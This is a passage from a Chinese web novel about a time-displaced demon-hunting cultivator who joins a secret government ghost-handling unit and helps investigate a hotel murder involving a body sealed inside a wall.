《我在凶宅当人形驱诡器》
1. 功德+1
天色未亮,城市的心脏尚未开始搏动,云层暗沉得像揉了墨。
空气里弥漫着冰冷的雾气,唯有街角包子铺蒸腾出的白烟,带着一丝人间烟火的暖意。
李俟菩立在铺前,目光平静地扫过那些食客。
店铺老板不停地吆喝着,他们将手掌按在一块泛着幽蓝光芒的方砖上,而后便能取走热气腾腾的食物。
“刷掌支付成功——”
机械的提示音,在她听来如同某种陌生的咒语。
她已饿了两天,腹中空空如也,胃壁因饥饿而痉挛,传来阵阵刺痛。
终于轮到她。
迎着老板公式化的笑脸,她指了指热气腾腾的肉包,然后模仿着前人,将自己白皙瘦削的手掌覆了上去。
方砖毫无反应。
老板脸上的笑意淡了下去,嘴角开始下撇。
李俟菩蹙了蹙眉,以为是自己姿态不对,又将手掌用力按实。
依旧死寂。
“小姑娘,没开通刷掌就用现金。”老板的语气已然不耐,打量的目光在她奇异的古装上刮过,像两把钝刀。
李俟菩距今已有上百年寿命,想她堂堂修仙界驱诡奇才,这些凡人竟敢唤她小姑娘?
还有这破砖,莫不是个西贝货?
当下她平复心情,不能生气,毕竟她手上没有此界流通的货币,而自几日前穿过来时,她身上的法力也荡然无存。
“我没钱。”她疑惑道,“你们这里,不是用手就能换么?”
这话一出,老板的脸彻底垮了,瞪大着眼睛扫视了一遍着呆傻的女人,仿佛听到了天大的笑话。
“没钱?没钱你排什么队!吃白食的?快走快走,别耽误我做生意!”
他挥着手,扯着嗓子赶人,像驱赶苍蝇一样。
李俟菩还未开口,身后排队的人群中,一个青年忽然上前一步。
“老板不好意思啊,她是我妻子,脑子前几年撞坏了,我这就带她走。”
青年歉意地笑着,伸手便要来拉李俟菩的手腕。
李俟菩不动声色地退后半步,避开了他的触碰。
她认识这个人,这男子跟了她好几天一直未有动静,虽说没对她做些什么,但她的直觉认为这个人并不是什么善茬。
她的目光清冷如水,扫过这个突然冒出来的人,“公子认错了,我并非你的夫人。”
面前人身上有股挥之不去的血腥味,很淡,却瞒不过她的鼻子。
后面排队的人已有些不耐烦,开口喊道:“喂!前面的磨叽什么呢!”
就在这时,一个看起来七八岁的小男孩从人群里冲出来,一把抱住她的腿。
“妈妈!你跑去哪里了呀!我好想你呜呜呜!”
男孩哭得撕心裂肺,引来周围一片同情的目光。
李俟菩垂眸,皱眉一把将他扯开,视线落在男孩的身上。
身形是孩童,骨龄却至少有三十好几。
竟是个侏儒人?!
李俟菩眯了眯眼睛,看向那个不怀好意的男人。
一个带着血腥味的青年,一个伪装成孩童的侏儒。
完美的拐人骗局,原来跟她这么久打的是这个算盘。
“哎呦,真是可怜啊,这么漂亮的姑娘……”
“造孽啊!”
“老公孩子都找来了,老板你就别为难人家了。”
“兄弟,快把你老婆拉回家待着吧,这脑子不好就别出来了!”
人群里彻底炸开了锅,周围的议论声成了骗子的保护伞。
男子见状,眼中闪过一丝得意,再次伸手抓向她:“老婆,别闹了,我们回家。”
李俟菩的眼神骤然变冷。
“滚。”
一个字,清晰,冰寒。
男子脸上的笑容一僵,随即化为狰狞。
他不再伪装,手上力道陡增,五指如爪,直取她的喉咙!
他快,李俟菩比他更快。
她甚至没有看他,只是随意地抬手一挥。
“咔嚓!”
清脆的骨裂声响起,男子的手腕以一个诡异的角度向后折断。
剧痛让他发出一声不似人声的惨嚎,整个人瞬间跪倒在地。
那个侏儒见状,尖叫着扑上来:“妈!”
李俟菩眼神一凛,侧身一脚,精准地踹在他的胸口。
侏儒像个破麻袋般倒飞出去,重重砸在地上,呕出一口酸水。
那个刚才还嚣张无比的包子铺老板,脸上青白交错,本欲将那块迷药布蒙上女人脸,可是见到此景却已经吓得瘫软在地。
乌云滚滚,天黑得仿佛要塌下来。
人群一片死寂。
所有人都惊恐地看着这个柔柔弱弱却身手狠戾的女人。
李俟菩缓缓收回脚,动作优雅,仿佛只是掸了掸衣角的灰尘。
她腹中依旧饥饿,眼神却亮得惊人。
这个世界,似乎比她想象中……要有趣一些。
就在这时,一记若有若无的轻笑声,从嘈杂的人声中清晰地传入她的耳朵。
李俟菩猛地抬眼,视线穿透惊慌失措的人群,精准地锁定在其中。
那里,一个身穿白色套裙的女人正饶有兴致地看着她,嘴角噙着一抹笑。
那女人拍拍手,轻而易举地指出了这几个男人的身份,是这一片的人贩子,专拐看似手无缚鸡之力的柔弱女子。
于是不过一会儿,刺耳的警报声响起,警察带走了那三个惯犯。
临走前,为首的男人死死瞪着李俟菩,眼神怨毒。
她却连一个眼神都懒得回敬,忙着跟警察交接。
至于最后那个包子,终究还是进了李俟菩的肚子。
可有了上顿,没下顿。
在这个陌生的异世界,规则未明,危机四伏。
金光划过,雨淅淅沥沥地落下来,闷热的空气总算是好受了一点。
屋檐下的冷风猛地灌进领口,她清癯的身子不禁一颤。
雨水在地面汇成水洼,倒映着灰败的天空。
她搓了搓臂膀,心道得尽快谋份差事,否则不等摸清这方天地的底细,自己就得先饿死在这里。
就在这时,一道温和的女声自身后响起。
“姑娘,你是刚辞职吗?”
李俟菩回头,映入眼帘的是一张精致的脸,鼻尖一颗小痣,正是方才那个身穿白色套裙的女人。
李俟菩的语气里多了几分审视:“方才多谢姑娘。”
女人脸上的笑意更深了,眼底是毫不掩饰的欣赏。
“你们演员都这么敬业?下了戏,人设还端着不放?不过这条路确实不好走,也别太灰心。”
“演员?人设?”
李俟菩念着这两个陌生的词,舌头都有些打结,眼中是纯粹的疑惑。
女人微微一愣,随即改口。
“是刚来城里?……算了,不重要。”
她语意未尽,目光灼灼地盯着李俟菩。
“小姑娘,你身手这么好,有没有兴趣来我们公司?”
李俟菩眉峰一挑,眼神瞬间变得锐利。
“你也是来拐我的?”
话音未落,她已捏紧了拳头,骨节发出细微的脆响。
女人却不见丝毫
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慌乱,反而被她的反应逗笑了,只是象征性地举起手。
“别误会,我们是正经公司,跟刚才那些货色可不一样。”
她穿着剪裁得体,气质雅正,谈吐间自有一股上位者的从容。
“日薪三千,我们公司只招有能力有胆魄的特殊人才。”
“能被我们看上,可是别人求都求不来的机会。”
“三千?”李俟菩对这个数字毫无概念,只是下意识地重复。
女人似乎看穿了她的茫然,换了个更直接的说法。
“干一晚上,三千,能买五百份肉包子!”
李俟菩的呼吸微微一顿。
一晚上?
她抬眼,望向远处那些高耸入云的楼阁,又低头看了看自己无处可去的双脚。
女人察觉她的松动,继续劝说:“你一个小姑娘,在陌生城市不安全,我们是真不想错失人才,找个工作也安心不是?”
她姿态诚恳,李俟菩看着她。
在这个世界,若无立足之地,自己便只能重回颠沛流离的生活。
只是刚缺差事,就有人送上门。
未免也太凑巧了。
李俟菩眸光沉沉,仿佛能穿透人心:“我如何信你?”
“我们有正规证件。”
女人说着,从公文包里取出几张证件。
她一一摆开,递到李俟菩眼前。
黑色的条状图案,密密麻麻的文字,看得李俟菩头晕目眩。
“这是我的名片,我叫覃诩水,零幺公司的boss。”
“薄丝?”李俟菩抿了抿嘴,有些不解。
覃诩水轻笑一声,解释道:“就是老板的意思。”
李俟菩颔首,目光落在那些她看不太懂的文字上。
“那你们主要是干什么?”
覃诩水眼底闪烁着兴奋的光芒,语气都轻快了几分。
“你这是答应来我们公司了?”
李俟菩干脆利落,“我从不做与好机会失之交臂的事情。”
“那可真是太好了!”
覃诩水高兴得眼睛都笑成了两条缝,麻利地将证件一张张收回公文包。
“我们的工作极为简单。”
“就是让你去一个屋子里面睡一晚。”
“清早起来就可以走人了。”
“嗯?就睡一晚?”李俟菩沉吟,眉头微蹙,“哪有白给地方睡,还倒贴钱的活?”
“哎,那可不白给,没你想得那么简单,不仅仅是在里面睡觉,还要录视频记录下来。”
录视频?李俟菩在心里琢磨了一会儿,没有问出口。
而覃诩水此刻笑意盈盈,手中已撑开一把伞,她瞧了瞧李俟菩身上的衣服。
“走,现在,就先跟我去换套衣服。”
“然后我们再去今天的工作地点,好吗?”
李俟菩不语,视线随着伞的边缘缓缓落在地面。
那里的水洼渐渐扩大,天空愁云惨淡。
光影变幻间,她的目光慢慢上移。
她看到了自己。
身上仍穿着之前的细锦白袍,往上是自己清淡的眉眼,肤色冷白,深邃的浅瞳像琥珀一样微微发亮,面庞轮廓柔和。
李俟菩收起目光,随覃诩水乘车先置办了一身红色卫衣,后来到郊区。
雨声渐渐小了,她抬眼去看。
那是爬满了藤蔓积垢的陈年老旧小区,灯光晦涩,雨水洇晕着绿藤。
夜色蔓延,周围黑得仿若血口的怪物深藏其中,幽暗破败的楼口毫无灯光。
风动,一股怪异感在李俟菩心里蔓延开来。
3. 功德+3
日头缓缓升起,微光透过窗棂,为她渡上了一层朦胧的金边。
逆着光,李俟菩看清了她的脸。
这人竟然没跑?
狭长双眼,眼下缀着一颗泪痣,嘴角天然翘着,一副人畜无害的好颜色。
“您好。”覃诩水晃了晃手里的本子,笑容甜美,“您打坏了我们的摄像设备,价值十万,请问您打算怎么支付?”
她的尾音拖着软糯的调子,像羽毛在人心上轻轻刮搔。
李俟菩侧过头,淡漠的视线落在地上一堆分不清本来面目的粉末上。
“十万?”
她声线里听不出情绪。
覃诩水用力点头,脸上满是心疼:“这可是顶级货,您一掌就给拍没了,力气也忒大了点。”
“我没钱。”李俟菩陈述事实,如同在说今天天气不错。
“没事儿!”覃诩水立刻笑得更灿烂了,“考虑到您昨晚的优秀表现,我们决定给您一个机会。”
她掰着手指,一脸认真地算着:“扣除您本月预支工资三千,您一共只需要赔我们九万七千块!”
李俟菩终于有了点反应,嘴角勾起一抹极淡的冷弧,思及昨晚覃诩水胆小如鼠的表情。
“昨晚,你装的?”
覃诩水老神在在,莞尔一笑。
框她进屋喂诡物,事后还要倒打一耙。
这公司,真是好手段。
李俟菩眼神骤然转冷,身形一晃,紧捏成拳,径直朝覃诩水的脸砸去!
没有灵力,但她深究武道的身躯,本身就是最致命的凶器!
这一拳又快又狠,撕裂空气,带着一股不容置疑的杀意。
覃诩水脸上的轻佻瞬间褪去,瞳孔骤缩,身体以一个不可思议的角度向后仰倒,同时手腕一翻,精准地格挡住李俟菩的手。
双腕交击,发出一声闷响。
覃诩水只觉一股巨力涌来,虎口剧痛,整个人被震得连退三步才稳住身形。
她甩了甩发麻的手,惊魂未定地看着李俟菩。
好快的身手!好霸道的力气!
“哎哎哎,好姐姐别动手啊!”她立刻双手高举作投降状,“有话好好说,我真不是骗子!”
李俟菩收回手,冷冷看着她,那眼神比刀子还利。
覃诩水不敢再卖关子,语速飞快,“我们公司的主营业务,确实是凶宅试睡,但那只是对外招人的幌子!”
她把工作牌翻过来,背后是三个血红的数字——931。
“正式介绍一下,国家特殊危害处理与收容部门,第九局,一组,覃诩水。”
“主要负责外勤工作与翻译机密。”
“我们的工作通俗点说,就是处理你刚才遇到的那种‘东西’。”
覃诩水歪着头,指了指那死得灰都没有的诡物,觑着李俟菩的神色道:“你是顶尖的人才,我们组织愿招你入组。刚才那些都只是对你的考验!”
李俟菩面无表情。
“五险一金,包吃包住。”覃诩水见有戏,赶紧加码,“只要你入组,那十万的设备费一笔勾销。三千只是基础薪资,出勤另有补贴,按功绩还有奖金。”
她见李俟菩依旧不为所动,咬了咬牙,从兜里掏出一沓崭新的红钞,直接塞进李俟菩手里。
“这是预支的工资,如果你不信,钱可以先给你。”
李俟菩:?
覃诩水小声嘀咕:“本来还想省下来买奶茶的,谁想姐姐是个劝不动的主儿……”
李俟菩:……
她捏了捏手里带着温度的纸币,那鲜艳的红色,让她恍惚一瞬。
在这世道,这东西似乎很重要,没它好像根本就活不下去。
最关键的是,这些人,似乎和她目的一致。
同道中人,遇诡必除。
良久,她将钱揣进兜里,抬眼看向覃诩水。
“我饿了。”
覃诩水愣了一下,随即大喜过望,猛地一拍手。
“得嘞!我的好姐姐,请你吃点好的!咱们这就出发去根据地!”
*
晴空万里,马路上的车子刹车停下。
李俟菩推门下车,抬头望去。
烈日当空,一块饱经风霜的木头牌子挂在一栋破旧的两层小楼上。
“931调查组。”
这里地处城郊,荒无人烟,只有疯长的杂草。
而这所谓的根据地,比她见过的最破败的茶楼酒肆还要不如。
“就这?”李俟菩语气平静,“这么穷,发得起工钱?”
“咳咳,”覃诩水干笑两声,上前推开那扇吱呀作响的木门,“外表不重要,我们先进去。”
李俟菩搓了搓口袋里那厚实的三千块,心里泛起一丝不祥的预感。
她跟着覃诩水,迈步踏入门内。
预想中的昏暗和灰尘并未出现。
门后的世界,豁然开朗。
脚下是光洁如镜的金属地板,头顶是模拟着蓝天白云的穹顶光幕,四周墙壁上布满了流淌着数据的屏幕,几个穿着制服的人员在其中忙碌穿行。
这里根本不是什么破旧小楼。
而是一个深埋于地下的,庞大到望不见边际的钢铁基地。
李俟菩的瞳孔映入了这片超乎她想象的景象。
突然一声爆炸响彻天际,只见浓烟滚滚直冲她们而来。
李俟菩连忙闪身躲至一旁,便见那源处冒出一颗毛茸茸的脑袋,朗声喊道:“哎诩水,回来了,快来试试我的新法器!”
覃诩水却没躲过,浓烟呛了她满脸,“别了,已经试过了。”
“嗯?这是把那位漂亮姐姐接回来了?”
李俟菩感受到一道灼热的视线。
她撞上那女孩儿的眼,女孩儿随意将长发盘起,杏眸长睫,肤色白皙,脸上沾了些许黑灰,活像个兔子瞪着眼睛看向她这边。
“咳咳咳,我介绍一下,这位是宁松帷,主要负责法器验造的专家。”覃诩水一说一咳,脸色通红,“地上这些都是她的杰作,别惊讶。”
李俟菩仔细看向地面上那堆纸,一些器物的构造的设计清晰明了。
器修?
“你好。”宁松帷蹦蹦跳跳地跑过来,牵起李俟菩的手就交换了个握手礼,眼睛亮亮的,“姐姐贵姓?”
李俟菩想一会儿,开口道:“李俟菩。”
从另一边门里出来个女人,看起来十分亲切,“来了之后就是朋友。”
李俟菩看了眼向她走过来的成熟女人,没说话。
“我叫赵慵。”她扫了眼覃诩水瘪下去的口袋,了然道,“那三千是预支,你好生收着。”
瞧着她们反应,这位似乎是她们上官。
“一般招人都有迎礼,我就不用了,拿赔礼抵吧。”李俟菩掸了掸肩上的灰,“我得再置办一身衣裳。”
李俟菩自认为自己是个记仇的人,昨晚要是没有应庐相助……
答应覃诩水来可不仅仅是来讨个安慰。
“是我们得罪在先,
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衣裳的话,你去买我们报销。”赵慵顺着看向李俟菩的衣袖洞口。
没等李俟菩答话,她便神色焦急又道:“刚接到西南口爱熏酒店的报案,全体都有,上车!”
赵慵行事利落,覃诩水听后也一撇不着调的样子,宁松帷将新的工作牌递给李俟菩,上面正等待着某人的署名。
李俟菩看着刚刚还在调笑的几人立马变得严肃,指尖揉搓着手中的工作牌。
滚烫的热浪侵袭着城市,车子一路驰骋,组织据地离爱熏酒店不远。
不一会儿就李俟菩就看到前方被围着深黄的警戒带,那里人声嘈杂。
她跟着三人下车进入酒店,不紧不慢地将牌子挂在脖子上,视线巡梭着这个年久失修的酒店。
酒店整体风格暧昧,灯光呈暗紫色,几处贴了墙纸的墙壁上浮着一层厚厚的油渍,走廊狭隘,径直通往尽头,宽度并排只能稍微走下两个瘦小的人。
神似双人合棺。
走廊布局对称,花瓶位置摆放格外讲究,结合起来看,像是什么阵法。
一阵浓烈的酸臭血腥味扑面而来,李俟菩下意识地捂住鼻子,原来她已深至尾房。
覃诩水递给她一个白色面罩,李俟菩瞥了一眼她,学着她的样子戴上隔绝这难以忍受的气味。
“怎么回事?”赵慵问旁边的酒店服务员。
那服务员浑身颤抖,显然一副被吓坏的模样,哆哆嗦嗦道:“今早……我收拾房间,进门就看见墙上被砸了个洞,里面砌了个人……”
覃诩水一手记录一手安慰道:“别害怕,慢点说。”
李俟菩探头一看,普通的格式内里却混乱不堪,粉红墙布被暴力撕开,灰白的墙面凿开一个巨大的洞,里面藏着一个四肢极为扭曲、蜷缩至婴孩状的人形。
那人全身裹着水泥,离得太远,她有些看不清。
房间里没开灯,阳光透过窗户缝隙倾洒至那人泛青僵硬的手臂。
李俟菩捻捻指心,精准捕捉到一丝诡气的消亡。
“这间房的入户信息,诩水你去排查清楚。”赵慵一抬下巴,覃诩水就动身带着服务人员去前台。
李俟菩上前没有再看那具尸体,察觉床边掉落的成团的长发,回头看那人形。
那分明是个男人。
她继续向里走,欲推开浴室的门,赵慵却递给她一副白色手套。
默默地戴上后,她向赵慵颔首,转眼打量看似干净整洁的浴室。
一抬眼,她就看到了自己,是镜子。
却从角落处向上延碎了一大块,前面的洗漱台立着六根已用完的红色蜡烛,蜡液早已凝固,紧紧黏在白色台壁上。
这是在招东西,李俟菩一眼判断。
旁边被破坏的浴头,长节塑料管子软在地上,不仔细看,还以为是条蜿蜒的毒蛇。
一时之间,除了外头拍摄现场的咔嚓声,无人说话。
“赵队,查清楚了,入户的只有他一人,具体时间是从昨天上午10点前台预定,进了房以后就一直没出来。”覃诩水匆匆赶来道。
“没人再进来?”赵慵显然已经发现了地面上的发丝。
“没有,技术人员正在排查监控录像。”覃诩水压低声音,看了一眼附带着诡气的头发,“基本可以确定是那东西作祟。”
“赵队,法医来了。”宁松帷在门外说道。
赵慵点点头,转头问李俟菩,“你有发现什么吗?”
李俟菩再次注视着人形蚕蛹,指了指,“诡物已死。”
4. 功德+4
“怎么说?”赵慵顺着她视线看向那边。
李俟菩没作声,不多时,已从门外风尘仆仆地赶来几人。
为首的短发女孩儿看了一眼赵慵,爽利地掀开自己带的白色盒子,走向那具死尸。
李俟菩往那盒子里一瞥,只见里面地圆形杵具、长条钳子等工具齐一摆放。
法医?仵作?
女孩儿行事认真,手脚干练,从李俟菩身旁走过,她能闻到风里相融着淡淡的香水味和腐烂味。
细细看那手茧,仵作年龄应当不下四年。
“这屋子的怨气很重诡却早已身死道消,稀奇。”李俟菩一副冷淡模样,身后无光。
“详细说说。”赵慵再次询问。
李俟菩言简意赅,“尸体浑身发青,双目赤红,左臂应当是留有邪火,那是诡物自我焚身的痕迹。”
赵慵走至那尸体前,垂头一观,那仵作听此,也翻查着她说的关键点。
轻轻扒拉一下脆弱的眼皮,死者眼球周围已爬满血丝,充血严重,几乎看不清眼白。
左臂那侧粘着干涸的泥水,女孩儿使了点力气翻弄,视线扫至手腕处,果真有一块烧得黑红的皮肉。
微弱的诡气滞留那处,悚异横生。
“你们干这行的,连这个都不知道?”李俟菩不经怀疑这组织的真实性来,“这难道不是常识?”
覃诩水挠了挠头,“嗯?还有这种说法,怎么从来没听过?”
弯着腰的女孩儿终于拿正眼瞧了李俟菩两秒,带着口罩开口,声音却十分清晰,“有,只是出现在一本古老的科普书上,但那书早在很多年前就被烧了。”
“烧了?为什么?”覃诩水睁大眼睛,不理解道。
那女孩儿没回答,宁松帷给覃诩水使了个眼色,覃诩水立即明白了什么,转移话题道:“哇!姐姐你也太厉害了,不仅武功高,还如此聪慧,招你进来真是招对了!”
覃诩水全然没有昨天那股上位者的风气,眼睛发亮,就像一直温顺可爱的小猫,崇拜地看着李俟菩。
李俟菩望着赵慵,没搭理她,寻思道:“我有一些想法,但依你们的话来讲,凡事都要讲究证据,所以……”
话未尽,赵慵温和道:“有想法可以先说,证据以后自然会有。”
李俟菩得到意料之中的回答,双手抱胸,不咸不淡地说:“这面墙里,应该还有一具——”
“白骨。”
话落,在场所有人的目光齐刷刷看向她,众人皆疑,赵慵的脸色肉眼可见的难看起来。
若李俟菩所言是真,那这案子的程度要比想的严重很多。
赵慵立马转头和那女孩儿道:“愁山,你快看看。”
如此相信李俟菩,她自己倒是有些意外。
余愁山自然点头道好,让其余几人把那具蜷缩的死者轻轻搬至地面,随后拿着所带工具敲打泥土。
也不知怎的,原本干硬的泥土却异常的无支撑性,随便一敲,成块儿的往下落,就好像里面全是空心的一样。
“这你又是如何知道的?”宁松帷皱着眉问她。
李俟菩环顾一圈这间房,“怨气如此重,百怨之首当为骨,魂已消,骨却在,所以这些怨气才会经久不散,我只是合理猜测。”
依李俟菩多年除诡经验,那墙里肯定还藏着东西,只是她话没有说得那么绝对。
覃诩水听着点了点头,可能也是相信她说的话,“有道理啊,寻常诡物一般会像地缚灵一样在自己死的地方徘徊,若是身体还在,怨气自然而然成倍的增多。”
“豁!这男人居然招魂?难怪死得这么惨。”覃诩水发现了浴室里那几根蜡烛,惊讶地大声道。
“估计这死者与诡物有关系。”宁松帷推测道,“不然不会做出如此快速投胎的行径。”
下午三点,太阳依旧高悬,房间里的腐臭味发酵得很快,随着不似泥土的白色头骨显出,众人都确信了李俟菩的话。
赵慵大惊,转头和宁松帷说:“你先回据地,排查一下死者的所有人际关系,有什么消息第一时间告诉我!”
意识到事情的严重性,宁松帷收到任务便离开,赵慵又看向李俟菩,眼里复杂至极,大多都是欣赏的目光,似乎是觉得自己真的挖到了宝。
李俟菩罕见的微笑回敬,脚步却始终未挪向那尸体一步。
日光透过蓝色塑料玻璃折射成彩色,映照在那白骨的两只洞窟眼眶。
有那么一瞬间,李俟菩觉得,这人生前的眼睛一定如彩色琉璃般漂亮。
这是一个大工程,幸而空心的水泥不是那么难挖,最后他们把一具白骨整整齐齐的挖了出来。
骨头白得透亮,四肢健全,皮肉毫无存在,若忽视所在场景,这应当是一个相当完整的人体标本,有种说不出的美感。
赵慵却越看脸色就越不好,“这是死后,再用水泥黏上去的直立白骨。”
“额头偏平,下颚短小,颧突小,下颌骨趋于尖形,线条圆润,是个成年女性。”余愁山摸了摸头骨分析道,“看骨骼的侵蚀痕迹,死亡时间大概在两年左右。”
“什么?这不会是把骨头从棺材里弄出来搞在墙里的吧?”覃诩水咬着指尖,眉头紧锁。
“不知道,具体的等验尸报告。”赵慵摇头。
“工具有限,具体的我得回据地再告诉你们。”余愁山着手收拾工具,安排人把地上的男尸和墙壁的白骨抬回去。
担架将那白骨抬至门边时,覃诩水冷不丁地冒出来一句,“我总觉得,她好像有话要对我说。”
余愁山和赵慵说了几句,便连忙跟着他们走了。
李俟菩一个挑眉,终于将眼睛放在覃诩水身上:“你懂鬼语?”
覃诩水听此,一扫莫名的郁闷心情,嘴角扬起,“我不是说过我的主要工作除了外勤,还有翻译机密呢,全组就我一个人会,是别人羡慕都羡慕不来的能力,是吧老大?”
赵慵叹了口气,无奈笑道:“是是是。”
“能力?那你呢,赵队?”李俟菩看向她。
“能让这些家伙都听我的,算吗?”赵慵毫不犹豫道。
李俟菩垂眸,宁松帷的法器构造复杂,她的器修师兄来了可能都要琢磨半天,余愁山似乎研读过仙界的除诡族一书。
而覃诩水,天生通灵的凡人,这么看来,比之其他人这几人确实脱颖而出。
“算。”
赵慵以为这人又不会答话时,这人出乎意料地肯定了她。
“李小姐,你如此精通此道之术,为何之前从没有听说过你的名字。”赵慵思虑几秒,稍微有些探究望着她。
李俟菩则坦率道:“每个地界都有诡物之首,赵队也有兴趣一一知晓?”
赵慵怔忪了一会儿,调侃道:“李小姐的手上功夫和这张嘴比,还是稍逊一筹啊。”
正说着,覃诩水早已摸进浴室,看向地面时一蹦三尺高,“妈妈呀!有蛇!”
随后转身挂到赵慵身上,不肯下来,赵慵被扑得一踉跄
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,“哎,只是一截水管。”
覃诩水眯着一条缝望那边瞧,见真是水管才捂着脸下来。
李俟菩窃笑,再次走进浴室。
赵慵疑云满腹,看着她说:“之前以为是死者用水管与诡物抗衡,但是这在地上的位置却很是奇怪。”
“这般精心摆放,显然有某种深意。”李俟菩摸着下巴,赞同道。
“摆放?”覃诩水走近蹲下看了看,“怎么这么说?”
“如果我没猜错,这并不是普通蜡烛,线带上缠有生犀香,燃犀照幽,人与鬼通。”李俟菩指向燃尽的斑驳蜡烛,“为了能见到所想之人,会将所处之地布置成死前所样。”
“生犀?!”两人异口同声。
“这东西不是十几年前就明令禁止了吗?”覃诩水一脸诧异,“我们都不能用,他怎么弄到的?!”
“为何?”李俟菩不解,“这还有规定呢?”
“此事颇为复杂,一时不好细说。”赵慵叹口气,将话题转回来,“你的意思是,现在这个房间里的布置,是那具白骨死前的景象?”
“可以这么说。”李俟菩不再追问,“还有,既然诡物已死,其他的应当就不归我们管了吧。”
一旁覃诩水觑了眼赵慵的神色,“确实是这样的,但是我们这组一律要求实事求是的原则,所以诡物生前的事我们也要查清楚,给生者一个交代。”
李俟菩眉峰一挑,心软到一定地步也就是这样了吧,仙界的除诡一族从不过问生前事,只要是害人东西,必须得除。
不过自己既然得了这份差事,也就只能按照规矩办事了。
“李小姐,若是有什么线索,请务必告知,或许其他调查组是那样行事,但931现在是我赵慵领队,在位一天,就不会放任真相不查。”赵慵语气里带着点敬意。
李俟菩心中有少许动容,覃诩水看了一圈后走出房间:“现在方向明确了,按这条生犀不能通用的线索去查,准能柳暗花明。”
赵慵也跟着离开,抬眼看了看门牌号——444。
李俟菩落后一步,覃诩水摇摇头道:“真是个不吉利的门牌号啊。”
“不吉利?”李俟菩不懂。
覃诩水嘿嘿一笑,凑近她耳边道:“你看到这个数字会想到什么字?”
思考一秒,李俟菩眨了眨眼,表示自己懂了,然后随着赵慵穿过走廊。
走到摆放花瓶的那处时,李俟菩陡然停住脚步,赵慵敏锐地察觉到了什么,回头问:“怎么了?”
“这个阵法,有点意思。”
“阵法?”
“照磨损程度看,此阵开启已不下五年。”李俟菩有些感兴趣地说道。
走廊实在是暗,幽暗不明的光线让人的眼睛产生视觉疲劳,现在集中精神重新环顾一圈,才发现除了这两对花瓶两点对称。
444号房间前面的花瓶与酒店门口的花瓶也是两点对称。
四点交汇,成一阵。
“是锁魂阵!”电光火石间,赵慵想起。
“可是锁魂阵一般只能维持一年,这居然有五年之久?”覃诩水惊讶。
“若是借助某种器物,维持十年也不在话下。”李俟菩想起之前在仙界捉诡的事迹。
“是什么?”赵慵问。
李俟菩没有回答,给了她一个眼神,径直走出,询问前台人员,“你在这里工作多久了?”
“我是新来的。”
“听他们说,酒店开业至今,才两年多。”
5. 功德+5
“两年。”李俟菩喃喃。
“你们老板呢?出了这么大的事儿怎么还不来?”赵慵仿佛想到了什么。
“老板出国了,这里一直是我们总经理管辖的,昨晚他去应酬,现在估计还没起呢,电话也打不通。”服务员应道。
“没起?”覃诩水一副看笑话的样子,“这心也是大得没边儿了哈。”
快下午四点了,太阳都要落了。
突然,门外传来一声破天荒地叫骂,“何诏,你个王八蛋给我滚出来!害死我弟弟我与你不共戴天!”
三人一脸疑惑,赵慵走至门边去看,只见门外那气势汹汹的女人,提着菜刀就冲了进来,赵慵被那摇摇欲坠的门推得一趔趄,李俟菩不假思索地拽了她一把。
女人红着眼眶,披头散发,身上还穿着不符合这个时节的长袖,目眦欲裂地大吼大叫,就要往楼上跑去。
旁边的服务员认出这个女人后,连忙来劝:“胡姐你别冲动啊!何经理现在不在这里!”
“放开我!你敢拦我!信不信我杀了你?”那女人已经听不进任何话,抡着菜刀就要往服务员身上砍,“去死去死!”
李俟菩眼神一凝,拿起花瓶里的碎小石子,就往女人手腕上一掷,菜刀被这股力打得歪向一旁,尖头锋利得堪堪削掉服务员两根长发。
女人手腕一痛,刀落至地面,眼里闪过一丝清明。
其他人被这事故吓得不轻,见没闹出性命来才呼出一口浊气。
覃诩水瞄了眼迅速的李俟菩,佩服的神情溢于言表。
赵慵连忙上前踢开地上那把菜刀,轻轻拍向那女人的背,试图安抚神志不清的她。
李俟菩看向劫后余生的服务员,道:“她谁?”
服务员喘过一口气,愣了会儿才颤颤巍巍道:“她……是死在444号房间那个男人的亲姐。”
“死者的姐姐?你们很熟?”
“她是我们的副经理。”
“那为何说是何诏害死了死者?”李俟菩看着那个疯疯癫癫的女人。
哪知那女人一听到何诏的名字,立即抬起头,抓着离她最近的赵慵,如抓着一颗救命稻草,腿一软就跪了下来。
她好似看到了赵慵胸前的工作牌,嘶哑的哭腔在空荡的大厅回响:“警官……我弟弟是被何诏害死的,你们相信我,相信我……快把他抓起来!”
“哎女士,这是做什么,您先起来,有什么慢慢说,来。”
李俟菩看着女人被头发遮住的绝望神色,那双眼睛却清澈明净,就如那具白骨的彩色眼眶一样漂亮。
赵慵扶起她,放缓音线,“您最后一次见到死……你弟弟是什么时候?”
女人的身体还在发颤,沉默了一会儿,她说:“前天晚上……我和弟弟去了华东餐馆吃饭,然后他就回家了……我刚刚才接到电话……”
说着呜咽了一声,似小兽般哀嚎,“何诏怕我抢了他总经理的位置,一直拿弟弟威胁我让我辞职,所以……一定是他!是他杀了我弟弟,是他杀了我弟弟啊!”
一阵手机铃声响起,赵慵让覃诩水帮忙扶着女人,出去接了电话。
女人又紧紧抓着覃诩水的衣服,声嘶力竭道:“警官,我弟弟人很好的,他死得冤枉啊警官……”
“姑娘,你弟弟有没有,对一些灵异之物感兴趣?”李俟菩斟酌着语句。
女人将目光放到李俟菩身上,微微摇头,“我弟弟才刚毕业,平时只喜欢画画,而且他最怕鬼了,不会碰的……”
赵慵从门外进来,对着覃诩水说:“你先带这位小姐回局里,另外调出爱熏酒店这两年的所有工作人员名单,派两人去华东餐馆核实一下当天晚上姐弟俩的轨迹。”
“李俟菩跟我走。”
门外热火朝天,唯一的承载车辆给了覃诩水回局里,赵慵和李俟菩只能徒步走在大街上。
赵慵说了一下信息:“查到了,死者名为胡靳,20岁中专毕业,无工作闲散人士,家里只有一个姐姐叫胡谙,两人自小就没了父母,相依为命。”
“感情很好。”李俟菩想起胡谙那张无助的脸。
“是啊,长大之后分居,一个小区一层楼,就住在对面,我已经让宁松帷去走访他们的邻居了。”
“胡谙说他弟弟怕极了那东西,又怎会碰生犀这类物品?”李俟菩顿觉这事儿没有想的那么简单。
她前半生只在武力仙术这方面下功夫,至于脑子就像是一块不会转动的机关,更别说查案了。
“说不好,疑点太多,验尸报告还没出来,现在我们都还不知道诡物跟死者是什么关系。”
“那我们现在去干什么?”李俟菩看着被阳光烘烤的大地,热得直冒汗。
“我刚得到消息,那位何总经理——”赵慵拖长语调,“居然也和姐弟住同一个小区。”
“嗯?”李俟菩看了她一眼,“这般仇视,住处这么近,竟然也能相安无事?”
